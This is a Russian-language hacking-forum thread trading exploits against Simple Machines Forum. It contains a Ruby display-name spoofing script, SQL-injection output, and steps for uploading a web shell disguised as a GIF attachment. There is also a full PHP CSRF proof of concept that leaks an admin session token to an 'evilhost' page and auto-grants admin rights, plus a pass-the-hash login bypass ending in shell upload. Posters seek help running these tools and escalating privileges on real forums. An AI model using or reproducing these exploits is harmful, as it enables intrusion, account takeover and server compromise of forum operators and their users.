Есть ли возможность узнать имя префикса? какой нибудь ошибкой.. использую SMF <= 1.1.4 SQL Injection Exploit Уязвимость есть. а вот префикс не подходит. иксы. Родилась идея за место имени сделать переменную - и туда совать из словарика имена таблицы.. но блин имя может быть какое угодно
[~] Testing SMF vulnerability... Yes! [+] SMF vulnerable! [~] Testing MySQL version... OK! [+] MySQL => 4.1 [~] Testing prefix 'smf'... Sorry. [-] Prefix is not correct.
#SMFRTLO.rb v1.0 #SMF <= 1.3.13 RTLO Exploit Tool #Coded by Luis Santana #HackTalk Security Team #Shouts to Shardy, Rage, Coors_Lite_Dude, Xires & Stacy, MaXe, #intern0t require "rubygems" require "mechanize" Mechanize::Util::CODE_DIC[:SJIS] = "UTF-8" puts "****************************************" puts "* SMFRTLO *" puts "* Coded By *" puts "* Luis Santana *" puts "* HackTalk Security *" puts "****************************************" puts "Enter your username:" user = gets.chomp puts "Enter your password:" pass = gets.chomp puts "Enter the website without http and include the SMF path (no trailing /):" site = gets.chomp puts "Enter the desired username:" spoof = gets.chomp agent = Mechanize.new agent.user_agent_alias = "Windows Mozilla" page = agent.get("http://#{site}/index.php") puts("[+] Logging In") login_form = page.forms[0] login_form['user'] = user login_form['passwrd'] = pass page = agent.submit(login_form) puts("[+] Logged In\n[+] Changing Display Name") page = agent.get("http://#{site}/index.php?action=profile;u=2;sa=account") spoof = "" + spoof.reverse profile_form = page.forms.last profile_form['realName'] = spoof profile_form['oldpasswrd'] = pass page = agent.submit(profile_form, profile_form.buttons.last) puts("[+] Display Name Changed To: " + spoof ) Вроде как должен подменять ваше имя на любое другое! кто разбирается расскажите как запустить его?
вот и я зотел узнать как юзать! поэтому выложил, а вообще он для подмены имени своего! и дальнейших махинаций соответственно! может кто разберется и просветит нас
SMF 2.0 RC5 Remote Shell Upload Exploit Автор: KedAns-Dz E-mail: [email protected] Twitter page: twitter.com/kedans Google дорка: "Powered by SMF 2.0 RC5" Суть в том, что вы можете загрузить Shell в папку attachments Зайдите в любую тему, ответьте что-нибудь и прикрепите к ответу Shell картинкой, формата *.gif После этого залитая картинку будет доступна по адресу: Code: http://[target/Path]/attachments/{fileID}_{fileHASH} HASH кодер: SHA1 Далее определяем hash (hashmyfiles поможет): 1_86e1d5b5ec318635ec9ece9b4586bd8c1d07faca После того как определили Hash можно пользоваться Shell' ом Вариант 1: Code: http://127.0.0.1:8888/smf/attachments/1_86e1d5b5ec318635ec9ece9b4586bd8c1d07faca Вариант 2: Code: http://[target/Path]/index.php?action=dlattach;topic={topicID};attach={attach-SHELL-id};image Второй вариант не всегда работает Дополню, что загружаемый gif, должен быть не больше 128 КБ Это стандартное ограничение P.S. Сам не проверял, проверил 3 форума, на них закрыто прикрепление файлов. Локальный лень поставить Но думаю, что работает
Simple Machines forum (SMF) 2.0 session hijacking Code: Simple Machines forum (SMF) 2.0 session hijacking Found by The X-C3LL and seth http://0verl0ad.blogspot.com/ || http://xd-blog.com.ar/ 2011-08-06 Website: http://www.simplemachines.org/ Greets: yoyahack, eddyw, www.portalhacker.net SMF stops csrf attacks sending a session token in all the requests wich make changes to the forum. Usually, it goes in the POST content but when navigating the moderation zone it's present in the url (you need to click the links from inside that zone!). In some places, an attacker can use bbcode to insert a <img> tag, forcing the browser to make a request and leak the token in the referer header. There are two ways for an attacker to place a image: -Writing in the moderators chat (?action=moderate), requires being a moderator. -Making a post and reporting it to the moderator (it will be send to all the section mods and the global mods, who will see it in ?action=moderate;area=reports) Removing lines 104 and 105 from Subs-Menu.php seems to solve the problem and nothing stops working (!): ///////////////////////////////////////////////////// if (empty($menuOptions['disable_url_session_check'])) $menu_context['extra_parameters'] .= ';' . $context['session_var'] . '=' . $context['session_id']; ///////////////////////////////////////////////////// PoC exploit wich gives admin privileges to the regular members: ///////////////////////////////////////////////////// <?PHP error_reporting(0); if($_GET[1]){ //Show the image file_put_contents('.htoken', $_SERVER['HTTP_REFERER']); //we only save the last token because we are lazy header('Content-Type: image/jpeg'); readfile('clickme.jpg'); //put a image here }else{ //Redirect to the admin panel $file = explode(';', file_get_contents('.htoken')); $file = explode('=', $file[2]); $token = '<input type="hidden" name="' . htmlentities($file[0], ENT_QUOTES) . '" value="' . htmlentities($file[1], ENT_QUOTES) . '" />'; ?> <html><head></head><body> <form action="http://localhost/smf/index.php?action=admin;area=permissions;sa=modify2;group=0;pid=0" method="post"> <input type="hidden" name="group_select_view_basic_info" value="on" /><input type="hidden" name="perm[membergroup][view_stats]" value="on" /><input type="hidden" name="perm[membergroup][view_mlist]" value="on" /><input type="hidden" name="perm[membergroup][who_view]" value="on" /><input type="hidden" name="perm[membergroup][search_posts]" value="on" /><input type="hidden" name="perm[membergroup][calendar_view]" value="on" /><input type="hidden" name="perm[membergroup][profile_view_own]" value="on" /><input type="hidden" name="perm[membergroup][profile_view_any]" value="on" /><input type="hidden" name="group_select_moderate_general" value="on" /><input type="hidden" name="perm[membergroup][karma_edit]" value="on" /><input type="hidden" name="perm[membergroup][calendar_edit_any]" value="off" /><input type="hidden" name="perm[membergroup][access_mod_center]" value="on" /><input type="hidden" name="perm[membergroup][moderate_forum]" value="on" /><input type="hidden" name="perm[membergroup][issue_warning]" value="off" /><input type="hidden" name="perm[membergroup][profile_identity_any]" value="on" /><input type="hidden" name="perm[membergroup][profile_extra_any]" value="on" /><input type="hidden" name="perm[membergroup][profile_title_any]" value="on" /><input type="hidden" name="perm[membergroup][profile_remove_any]" value="on" /><input type="hidden" name="group_select_use_pm_system" value="on" /><input type="hidden" name="perm[membergroup][pm_read]" value="on" /><input type="hidden" name="perm[membergroup][pm_send]" value="on" /><input type="hidden" name="perm[membergroup][calendar_post]" value="off" /><input type="hidden" name="perm[membergroup][calendar_edit_own]" value="off" /><input type="hidden" name="group_select_administrate" value="on" /><input type="hidden" name="perm[membergroup][admin_forum]" value="on" /><input type="hidden" name="perm[membergroup][manage_boards]" value="on" /><input type="hidden" name="perm[membergroup][manage_attachments]" value="on" /><input type="hidden" name="perm[membergroup][manage_smileys]" value="on" /><input type="hidden" name="perm[membergroup][edit_news]" value="on" /><input type="hidden" name="perm[membergroup][manage_membergroups]" value="on" /><input type="hidden" name="perm[membergroup][manage_permissions]" value="on" /><input type="hidden" name="perm[membergroup][manage_bans]" value="on" /><input type="hidden" name="perm[membergroup][send_mail]" value="on" /><input type="hidden" name="group_select_edit_profile" value="on" /><input type="hidden" name="perm[membergroup][profile_identity_own]" value="on" /><input type="hidden" name="perm[membergroup][profile_extra_own]" value="on" /><input type="hidden" name="perm[membergroup][profile_title_own]" value="on" /><input type="hidden" name="group_select_delete_account" value="on" /><input type="hidden" name="perm[membergroup][profile_remove_own]" value="on" /><input type="hidden" name="group_select_use_avatar" value="on" /><input type="hidden" name="perm[membergroup][profile_server_avatar]" value="on" /><input type="hidden" name="perm[membergroup][profile_upload_avatar]" value="on" /><input type="hidden" name="perm[membergroup][profile_remote_avatar]" value="on" /><input type="hidden" name="group_select_moderate" value="on" /><input type="hidden" name="perm[board][moderate_board]" value="on" /><input type="hidden" name="perm[board][approve_posts]" value="off" /><input type="hidden" name="perm[board][merge_any]" value="on" /><input type="hidden" name="perm[board][split_any]" value="on" /><input type="hidden" name="perm[board][send_topic]" value="on" /><input type="hidden" name="perm[board][make_sticky]" value="on" /><input type="hidden" name="perm[board][move_own]" value="on" /><input type="hidden" name="perm[board][move_any]" value="on" /><input type="hidden" name="perm[board][lock_own]" value="on" /><input type="hidden" name="perm[board][lock_any]" value="on" /><input type="hidden" name="perm[board][remove_any]" value="on" /><input type="hidden" name="perm[board][modify_replies]" value="on" /><input type="hidden" name="perm[board][delete_replies]" value="on" /><input type="hidden" name="perm[board][announce_topic]" value="on" /><input type="hidden" name="perm[board][delete_any]" value="on" /><input type="hidden" name="perm[board][modify_any]" value="on" /><input type="hidden" name="perm[board][poll_add_any]" value="on" /><input type="hidden" name="perm[board][poll_edit_any]" value="on" /><input type="hidden" name="perm[board][poll_lock_own]" value="on" /><input type="hidden" name="perm[board][poll_lock_any]" value="on" /><input type="hidden" name="perm[board][poll_remove_any]" value="on" /><input type="hidden" name="group_select_make_posts" value="on" /><input type="hidden" name="perm[board][post_new]" value="on" /><input type="hidden" name="perm[board][post_reply_own]" value="on" /><input type="hidden" name="perm[board][post_reply_any]" value="on" /><input type="hidden" name="perm[board][post_unapproved_topics]" value="on" /><input type="hidden" name="perm[board][post_unapproved_replies_own]" value="on" /><input type="hidden" name="perm[board][post_unapproved_replies_any]" value="on" /><input type="hidden" name="perm[board][post_unapproved_attachments]" value="on" /><input type="hidden" name="group_select_modify" value="on" /><input type="hidden" name="perm[board][remove_own]" value="on" /><input type="hidden" name="perm[board][delete_own]" value="on" /><input type="hidden" name="perm[board][modify_own]" value="on" /><input type="hidden" name="perm[board][poll_edit_own]" value="on" /><input type="hidden" name="perm[board][poll_remove_own]" value="on" /><input type="hidden" name="group_select_participate" value="on" /><input type="hidden" name="perm[board][report_any]" value="on" /><input type="hidden" name="perm[board][poll_view]" value="on" /><input type="hidden" name="perm[board][poll_vote]" value="on" /><input type="hidden" name="perm[board][view_attachments]" value="on" /><input type="hidden" name="group_select_post_polls" value="on" /><input type="hidden" name="perm[board][poll_post]" value="on" /><input type="hidden" name="perm[board][poll_add_own]" value="on" /><input type="hidden" name="group_select_notification" value="on" /><input type="hidden" name="perm[board][mark_any_notify]" value="on" /><input type="hidden" name="perm[board][mark_notify]" value="on" /><input type="hidden" name="group_select_attach" value="on" /><input type="hidden" name="perm[board][post_attachment]=on" /> <?PHP echo $token; ?> </form><script>document.forms[0].submit()</script> </body></html> <? } ///////////////////////////////////////////////////// Use: [url*=http://evilhost/exploit.php][img*]http://evilhost/exploit.php?1=1[/img][/url]
получилось получить доступ к админке с правами Глобальный модератор подскажите как можно продвинуться до админа или еще что. ни разу не юзал этот форум
Способ не работает, такая картинка .gif тупо отображается сервером как текст (с пхп кодом). Называл и xx.php.gif и xx.gif - одинаковый результат. .htaccess в attachments нет, все настройки форума дефолтные. С хешем все понятно, а как определить число, под которым залит файл? На новом форуме это будет 1, 2 и т.д., а если форум большой, то там будет какой-то 5131_хеш. Надо писать какой-то скрипт для перебора вариантов разве что.
Подскажите, есть ли эксплоит по уязвимости версий 1.0-RC1 — 2.0-Beta3.1 в файле SSI.php? Описание: http://www.cvedetails.com/cve/CVE-2011-1127/
по чему-то выдает ошибку Code: File "C:\Python27\lib\socket.py", line 551, in create_connection for res in getaddrinfo(host, port, 0, SOCK_STREAM): socket.gaierror: [Errno 11004] getaddrinfo failed Что это может быть и как лечиться? Заранее спасибо
собственно интересует:есть доступ к форуму версии 2.0.1 полные права,как залить и заставить исполнятся шелл
Хмм... а почему тут нет информации как зайти при login2, если вытащили таки passwd(например сукуля в другом проекте с 1 мускулем), а вскрыть не получается? Описать или я просто что-то не заметил?
Собственно найден сей способ мною, когда столкнулся с тем, что смог вытащить passwd, а расшифровывать его не было времени + пароль оказался совсем не стандартным. В общем для старта нам нужно: 1) Что-то чем можно редактировать и абортить запросы от браузера серверу(я использую charles) 2) Собственно сам passwd и логин(имейте ввиду, что отображаемый ник не всегда одно и то же, что логин) Смотрим исходник главной страницы и ищем форму: Code: <form id="guest_form" action="http://forum.site.example/index.php?action=login2" method="post" accept-charset="windows-1251" onsubmit="hashLoginPassword(this, '[B][COLOR=Red]1f73b88c08c6ecf9706286d01f92ea1d[/COLOR][/B]');"> Обратите внимания на последнюю часть, она нам пригодится. Вся особенность данного метода, что для логина используется дважды sha1 пароль, причем делается это через js скрипт. Отправляемый пакет имеет строку passwd криптующийся по формату: Code: sha1(sha1(lower(username).password).[B][COLOR=Red]1f73b88c08c6ecf9706286d01f92ea1d[/COLOR][/B]); Т.е. по сути для логина достаточно нашего passwd, который как известно равен sha1(lower(username).password 1) Формируем закрытый ключ, который бы обосновывался на описанном ранее методе к нужному нами пользователю 2) Выставляем бряку на запрос к логин-форме 3) Логинимся под рандомными именами и паролями 4) Редактируем запрос на нужный нам(вставляя логин/пароль админа) 5) Отправляем 6) .... 7) Льем шелл из-под админа путем добавления новой темы. PS Актуально для SMF 2.0.2 - на прошлых версиях не проверялось.
А какой шелл для версии SMF 2.0.2 будет наиболее удобным, более полно отвечающим структурам форума и расположению файлов и директорий?